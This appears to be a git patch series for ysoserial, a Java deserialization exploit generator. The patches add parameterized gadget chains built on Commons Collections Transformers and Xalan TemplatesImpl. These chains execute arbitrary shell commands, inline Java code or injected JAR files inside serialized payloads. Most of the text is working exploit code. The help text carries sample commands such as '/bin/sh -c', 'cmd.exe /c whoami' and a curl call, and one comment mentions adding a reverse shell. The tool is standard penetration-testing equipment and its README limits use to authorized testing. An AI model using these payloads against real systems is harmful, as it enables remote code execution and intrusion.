ClassPool.getDefault(); + final CtClass clazz = pool.makeClass(Gadgets.generateRandomClassName()); + clazz.makeClassInitializer().insertAfter(inlineCode); + + return clazz.toBytecode(); + } + + private byte[] createClass(InputStream is) throws CannotCompileException, IOException { + ClassPool pool = ClassPool.getDefault(); + final CtClass clazz = pool.makeClass(is); + clazz.setName(Gadgets.generateRandomClassName()); + return clazz.toBytecode(); + } + + private Transformer[] defineClass(byte[] classBytes) throws ClassNotFoundException { + return new Transformer[]{ + new ConstantTransformer(Class.forName("sun.misc.Unsafe")), + new InvokerTransformer("getDeclaredField", + new Class[]{ String.class }, + new Object[]{"theUnsafe"} + ), + new ClosureTransformer(new TransformerClosure(new InvokerTransformer( + "setAccessible", + new Class[]{ boolean.class }, + new Object[]{ true } + ))), + new InvokerTransformer("get", + new Class[]{ Object.class }, + new Object[]{ null } + ), + new InvokerTransformer("defineAnonymousClass", + new Class[]{ Class.class, byte[].class, Object[].class }, + new Object[] { String.class, classBytes, new Object[0] } + ), + new InvokerTransformer("newInstance", + new Class[0], new Object[0] + ), + new ConstantTransformer("") + }; + } + + /*** + * New parameterized chain + * @param args arguments to pass to the gadget + * @return generated gadget chain + * @throws Exception if error occurs + */ + final public T getObject(String[] args) throws Exception { + Transformer[] chain; + + CommandLine cline = new DefaultParser().parse(CLI_OPTIONS, args); + if (cline.hasOption("help")) { + throw new IllegalArgumentException(); //print help + } else if (cline.hasOption("sleep")) { + long delay = 10000; + if(cline.hasOption("sleep-delay")) { + delay = Long.parseLong( + cline.getOptionValue("sleep-delay") + ); + } + chain = new Transformer[] { + new ConstantTransformer(Thread.class), + new InvokerTransformer("getMethod", + new Class[]{String.class, Class[].class}, + new Object[]{"sleep", new Class[]{long.class}}), + new InvokerTransformer("invoke", + new Class[]{Object.class, Object[].class}, + new Object[]{null, new Object[]{delay}}), + new ConstantTransformer("") + }; + } else if (cline.hasOption("inline-file")) { + StringBuilder code = new StringBuilder(); + BufferedReader reader = new BufferedReader( + new FileReader(cline.getOptionValue("inline-file"))); + String line; + while ((line = reader.readLine()) != null) { + code.append(line).append("\r\n"); + } + chain = defineClass( + compileClass(code.toString()) + ); + } else if (cline.hasOption("inline")) { + chain = defineClass( + compileClass(cline.getOptionValue("inline")) + ); + } else if (cline.hasOption("class-file")) { + chain = defineClass(createClass( + new FileInputStream(cline.getOptionValue("class-file")) + )); + } else { + chain = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", + new Class[]{String.class, Class[].class}, + new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", + new Class[]{Object.class, Object[].class}, + new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", + new Class[] { + cline.hasOption("single") + ? String.class + : String[].class + }, + new Object[] { + cline.hasOption("single") + ? cline.getOptionValue("single") + : cline.getArgs() + } + ), + new ConstantTransformer("") + }; + } + + return this.getObject(chain); + } + + /** + * Generate a new gadget chain from this transformers chain + * + * @param transformers The parameterized transformers chain + * @return generated gadget chain + * @throws Exception if error occurs + */ + abstract protected T getObject(final Transformer[] transformers) throws Exception; + +} diff --git a/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java b/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java new file mode 100644 index 00000000..8b08dba9 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java @@ -0,0 +1,154 @@ +package ysoserial.payloads; + + +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.cli.*; +import ysoserial.Strings; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.util.Gadgets; + +import java.io.*; +import java.util.Arrays; + +public abstract class ParameterizedTransletObjectPayload extends ParameterizedObjectPayload { + private static final Options CLI_OPTIONS = new Options() + .addOption(Option.builder() + .argName("jar-file") + .longOpt("jar-file") + .hasArg() + .desc("Path to JAR file to inject inside the gadget chain. Arguments are passed to the static main method") + .build()) + .addOption(Option.builder() + .argName("class-file") + .longOpt("class-file") + .hasArg() + .desc("Path to the pre-compiled class to add inside the gadget chain. Do not forget to add a static block initializer. The class name will be randomized") + .build()) + .addOption(Option.builder() + .argName("single") + .longOpt("single") + .hasArg() + .desc("Provides a single command argument (old behavior)") + .build()) + .addOption(Option.builder() + .argName("jar-main") + .longOpt("jar-main") + .hasArg() + .desc("Main class to use for the JAR file") + .build()) + .addOption(Option.builder() + .argName("inline") + .longOpt("inline") + .hasArg() + .desc("Java code block to inject inside the gadget chain") + .build()) + .addOption(Option.builder() + .argName("inline-file") + .longOpt("inline-file") + .hasArg() + .desc("Path to file that contains the Java code block to inject inside the gadget chain") + .build()) + .addOption(Option.builder() + .argName("help") + .longOpt("help") + .desc("Print this message") + .build()); + + @Override + public String getHelp() { + String header = "Payload based on internal Translet templates\r\narguments:"; + if(this.getClass().getAnnotation(Authors.class) != null) { + header = "author(s): " + Strings.join( + Arrays.asList(this.getClass().getAnnotation(Authors.class).value()), + ", " + ) + "\r\n" + header; + } + + String examples = "examples: \r\n" + + this.getClass().getSimpleName() + " -- /bin/sh -c 'id>/tmp/result.txt'\r\n" + + this.getClass().getSimpleName() + " -- cmd.exe /c whoami\r\n" + + this.getClass().getSimpleName() + " --single 'curl hxxp://foo.bar'\r\n" + + this.getClass().getSimpleName() + " --inline 'System.out.println(\"Hello world\");'\r\n" + + this.getClass().getSimpleName() + " --jar-file /path/to/app.jar --jar-main org.random.Main -- arg0 arg1 arg2\r\n" + + this.getClass().getSimpleName() + " --jar-file /path/to/app.jar -- arg0 arg1 arg2"; + + HelpFormatter formatter = new HelpFormatter(); + StringWriter sw = new StringWriter(); + formatter.printHelp(new PrintWriter(sw), 120, + this.getClass().getSimpleName() + " [flags] -- [arguments ...]", header, + CLI_OPTIONS, formatter.getLeftPadding(), formatter.getDescPadding(), examples, + false); + return sw.toString(); + } + + /*** + * New parameterized chain + * @param args arguments to pass to the gadget + * @return generated gadget chain + * @throws Exception if error occurs + */ + final public T getObject(String[] args) throws Exception { + Object templates; + + CommandLine cline = new DefaultParser().parse(CLI_OPTIONS, args); + if (cline.hasOption("help")) { + throw new IllegalArgumentException(); //print help + } + else if (cline.hasOption("jar-file")) { + if (cline.hasOption("jar-main")) { + templates = Gadgets.createClassTemplatesImplFromJar( + cline.getOptionValue("jar-file"), + cline.getArgs(), + cline.getOptionValue("jar-main") + ); + } else { + templates = Gadgets.createClassTemplatesImplFromJar( + cline.getOptionValue("jar-file"), + cline.getArgs() + ); + } + } else if (cline.hasOption("class-file")) { + ClassPool pool = ClassPool.getDefault(); + final CtClass clazz = pool.makeClass( + new FileInputStream(cline.getOptionValue("class-file"))); + clazz.setName(Gadgets.generateRandomClassName()); + templates = Gadgets.createTemplatesImpl( + "", + new byte[][] { clazz.toBytecode()} + ); + } else if (cline.hasOption("inline-file")) { + StringBuilder code = new StringBuilder(); + BufferedReader reader = new BufferedReader( + new FileReader(cline.getOptionValue("inline-file"))); + String line; + while ((line = reader.readLine()) != null) { + code.append(line).append("\r\n"); + } + reader.close(); + templates = Gadgets.createTemplatesImplFromInline(code.toString()); + } else if (cline.hasOption("inline")) { + templates = Gadgets.createTemplatesImplFromInline(cline.getOptionValue("inline")); + } else if (cline.hasOption("single")) { + templates = Gadgets.createTemplatesImpl( + cline.getOptionValue("single") + ); + } else { + templates = Gadgets.createTemplatesImpl( + cline.getArgs() + ); + } + + return this.getObject(templates); + } + + /** + * Generate a new gadget chain from this translet tpl instance + * + * @param templates The parameterized translet template instance + * @return generated gadget chain + * @throws Exception if error occurs + */ + abstract protected T getObject(final Object templates) throws Exception; + +} diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java index f0842913..8c7894a9 100644 --- a/src/main/java/ysoserial/payloads/ROME.java +++ b/src/main/java/ysoserial/payloads/ROME.java @@ -30,11 +30,11 @@ */ @Dependencies("rome:rome:1.0") @Authors({ Authors.MBECHLER }) -public class ROME implements ObjectPayload { +public class ROME extends ParameterizedTransletObjectPayload { - public Object getObject ( String command ) throws Exception { - Object o = Gadgets.createTemplatesImpl(command); - ObjectBean delegate = new ObjectBean(Templates.class, o); + @Override + protected Object getObject(Object templates) throws Exception { + ObjectBean delegate = new ObjectBean(Templates.class, templates); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); return Gadgets.makeMap(root, root); } diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index 00638794..e5b9b97c 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -51,11 +51,10 @@ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) @Authors({ Authors.FROHOFF }) -public class Spring1 extends PayloadRunner implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); +public class Spring1 extends ParameterizedTransletObjectPayload { + @Override + protected Object getObject(Object templates) throws Exception { final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); @@ -78,7 +77,7 @@ public static void main(final String[] args) throws Exception { PayloadRunner.run(Spring1.class, args); } - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAnnInvHUniversalMethodImpl(); + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); } } diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java index 11a29072..e93e9187 100644 --- a/src/main/java/ysoserial/payloads/Spring2.java +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -43,11 +43,10 @@ "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" } ) @Authors({ Authors.MBECHLER }) -public class Spring2 extends PayloadRunner implements ObjectPayload { - - public Object getObject ( final String command ) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); +public class Spring2 extends ParameterizedTransletObjectPayload { + @Override + protected Object getObject(Object templates) throws Exception { AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); @@ -73,4 +72,5 @@ public static void main ( final String[] args ) throws Exception { public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } + } diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java index 1d74d069..fb541f06 100644 --- a/src/main/java/ysoserial/payloads/Vaadin1.java +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -16,8 +16,7 @@ @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) @PayloadTest ( precondition = "isApplicableJavaVersion") @Authors({ Authors.KULLRICH }) -public class Vaadin1 implements ObjectPayload -{ +public class Vaadin1 extends ParameterizedTransletObjectPayload { // +-------------------------------------------------+ // | | // | BadAttributeValueExpException | @@ -55,19 +54,17 @@ public class Vaadin1 implements ObjectPayload // | TemplatesImpl.getOutputProperties() | // | | // +------------------------------------------------+ - + @Override - public Object getObject (String command) throws Exception - { - Object templ = Gadgets.createTemplatesImpl (command); - PropertysetItem pItem = new PropertysetItem (); - - NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); + protected Object getObject(Object templates) throws Exception { + PropertysetItem pItem = new PropertysetItem (); + + NestedMethodProperty nmprop = new NestedMethodProperty (templates, "outputProperties"); pItem.addItemProperty ("outputProperties", nmprop); - + BadAttributeValueExpException b = new BadAttributeValueExpException (""); Reflections.setFieldValue (b, "val", pItem); - + return b; } diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index d4cd7838..7089e070 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -3,16 +3,19 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.InputStream; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; -import java.util.HashMap; -import java.util.Map; +import java.util.*; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; -import com.nqzero.permit.Permit; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; @@ -24,6 +27,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.xalan.xsltc.trax.TrAXFilter; +import ysoserial.Strings; /* @@ -62,6 +68,10 @@ public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } + public static String generateRandomClassName() { + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + return "ysoserial.Pwner" + System.nanoTime(); + } public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); @@ -90,21 +100,89 @@ public static Map createMap ( final String key, final Object val } - public static Object createTemplatesImpl ( final String command ) throws Exception { + public static Object createTemplatesImpl ( final String[] command ) throws Exception { + // run command in static initializer + String args = "new String[]{" + + Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") + + '}'; + return createTemplatesImplFromInline("java.lang.Runtime.getRuntime().exec("+ args +");"); + } + + + public static Object createTemplatesImpl( final String command ) throws Exception { + // run command in static initializer (old behavior) + String arg = "\"" + Strings.escapeJavaString(command) + "\""; + return createTemplatesImplFromInline("java.lang.Runtime.getRuntime().exec("+ arg +");"); + } + + + public static Object createTemplatesImplFromInline( final String inlineCode ) throws Exception { + return createTemplatesImpl(inlineCode, new byte[][]{}); + } + + + public static Object createClassTemplatesImplFromJar( final String jarFilePath, final String[] mainArgs ) throws Exception { + JarFile jarFile = new JarFile(new File(jarFilePath), false); + String mainClass = jarFile.getManifest().getMainAttributes().getValue("Main-Class"); + if(mainClass == null) + throw new IllegalArgumentException("No Main-Class manifest value found."); + return createClassTemplatesImplFromJar(jarFilePath, mainArgs, mainClass); + } + + + public static Object createClassTemplatesImplFromJar( final String jarFilePath, final String[] mainArgs, String mainClass ) throws Exception { + JarFile jarFile = new JarFile(new File(jarFilePath), false); + mainClass = Strings.escapeJavaString(mainClass); + + String args = ""; + if(mainArgs.length == 0) { + args = "new String[0]"; + } else { + args = "new String[]{" + + Strings.join(Arrays.asList(Strings.escapeJavaStrings(mainArgs)), ", ", "\"", "\"") + + '}'; + } + + // run main method of main-class in static initializer + String initializer = "java.lang.Class.forName(\""+mainClass+"\")" + + ".getMethod(\"main\", new Class[]{String[].class})" + + ".invoke(null, new Object[]{"+ args + "});"; + List bytecodesList = new ArrayList(); + byte[] buf = new byte[4096]; + for (Enumeration en = jarFile.entries(); en.hasMoreElements(); ) { + JarEntry entry = en.nextElement(); + if(!entry.getName().endsWith(".class")) continue; + + InputStream is = jarFile.getInputStream(entry); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + int bRead; + while ((bRead = is.read(buf)) >= 0) { + bos.write(buf, 0, bRead); + } + bytecodesList.add(bos.toByteArray()); + } + + return createTemplatesImpl(initializer, bytecodesList.toArray(new byte[][]{})); + } + + public static Object createTemplatesImpl ( final String inlineCode , final byte[][] extraClasses ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( - command, + inlineCode, + extraClasses, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } - return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + return createTemplatesImpl(inlineCode, extraClasses, TemplatesImpl.class, + AbstractTranslet.class, TransformerFactoryImpl.class); } - public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) - throws Exception { + public static T createTemplatesImpl ( final String inlineCode, byte[][] extraClasses, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { final T templates = tplClass.newInstance(); // use template gadget class @@ -112,23 +190,23 @@ public static T createTemplatesImpl ( final String command, Class tplClas pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); - // run command in static initializer + // set custom Java code block in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - String cmd = "java.lang.Runtime.getRuntime().exec(\"" + - command.replace("\\", "\\\\").replace("\"", "\\\"") + - "\");"; - clazz.makeClassInitializer().insertAfter(cmd); + clazz.makeClassInitializer().insertAfter(inlineCode); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); + clazz.setName(generateRandomClassName()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); - final byte[] classBytes = clazz.toBytecode(); + clazz.getConstructors()[0].setBody("this.namesArray = new String[0];"); + + final byte[][] bytecodes = new byte[extraClasses.length + 2][]; + System.arraycopy(extraClasses, 0, bytecodes, 0, extraClasses.length); + bytecodes[bytecodes.length - 2] = clazz.toBytecode(); + bytecodes[bytecodes.length - 1] = ClassFiles.classAsBytes(Gadgets.Foo.class); // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - classBytes, ClassFiles.classAsBytes(Foo.class) - }); + Reflections.setFieldValue(templates, "_bytecodes", bytecodes); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); From 778e4e22bbbd66f3d332c8bcd2ae6d1033c7acf4 Mon Sep 17 00:00:00 2001 From: ca-syn <84011044+cas1n@users.noreply.github.com> Date: Tue, 30 Jan 2024 17:35:17 +0100 Subject: [PATCH 2/3] Add parameterized payloads * Add supplementary arguments for internal translet based payloads * Add supplementary arguments for Transformer payloads * Make CommonsBeanutils1 silent using NullComparator --- .../payloads/ParameterizedTransformersObjectPayload.java | 2 +- .../ysoserial/payloads/ParameterizedTransletObjectPayload.java | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java b/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java index 4a146162..24879a2d 100644 --- a/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java @@ -79,7 +79,7 @@ public String getHelp() { HelpFormatter formatter = new HelpFormatter(); StringWriter sw = new StringWriter(); - formatter.printHelp(new PrintWriter(sw), 120, + formatter.printHelp(new PrintWriter(sw), 80, this.getClass().getSimpleName() + " [flags] -- [arguments ...]", header, CLI_OPTIONS, formatter.getLeftPadding(), formatter.getDescPadding(), examples, false); diff --git a/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java b/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java index 8b08dba9..fd9adc08 100644 --- a/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java @@ -75,7 +75,7 @@ public String getHelp() { HelpFormatter formatter = new HelpFormatter(); StringWriter sw = new StringWriter(); - formatter.printHelp(new PrintWriter(sw), 120, + formatter.printHelp(new PrintWriter(sw), 80, this.getClass().getSimpleName() + " [flags] -- [arguments ...]", header, CLI_OPTIONS, formatter.getLeftPadding(), formatter.getDescPadding(), examples, false); From 29ba2503a451baa557ed5b528df1f3ec27ee60b6 Mon Sep 17 00:00:00 2001 From: cas1n <84011044+cas1n@users.noreply.github.com> Date: Tue, 12 Mar 2024 11:10:27 +0100 Subject: [PATCH 3/3] Add parameterized payloads - Add supplementary arguments for internal translet based payloads - Add supplementary arguments for Transformer payloads - Make CommonsBeanutils1 silent using NullComparator --- README.md | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 7a9d1503..6c3b46bb 100644 --- a/README.md +++ b/README.md @@ -34,12 +34,20 @@ for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. +## Dependencies issues + +As stated in [BishopFox's fork](https://github.com/BishopFox/ysoserial-bf?tab=readme-ov-file#missing-javaxinterceptor-api-library), +javax.interceptor-api library version 3.1 was a bump version typo and was removed from central repositories. +As a result, artifacts cannot be downloaded anymore. + +You can find this library and a workaround to fix this issue [here](https://github.com/BishopFox/ysoserial-bf?tab=readme-ov-file#missing-javaxinterceptor-api-library). + ## Usage ```shell $ java -jar ysoserial.jar Y SO SERIAL? -Usage: java -jar ysoserial.jar [payload] '[command]' +Usage: java -jar ysoserial-[version]-all.jar [payload] [arguments ...] Available payload types: Payload Authors Dependencies ------- ------- ------------ @@ -79,6 +87,16 @@ Usage: java -jar ysoserial.jar [payload] '[command]' Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 ``` +A few arguments were added to customize gadget chains relying on Translets or CommonsCollections Transformers: + +```shell +$ java -jar ysoserial.jar CommonsCollections1 --inline 'System.out.println("Hello world");' +[...] + +$ java -jar ysoserial.jar CommonsBeanutils1 --jar-file /path/to/app.jar --jar-main org.random.Main -- arg0 arg1 arg2 +[...] +``` + ## Examples ```shell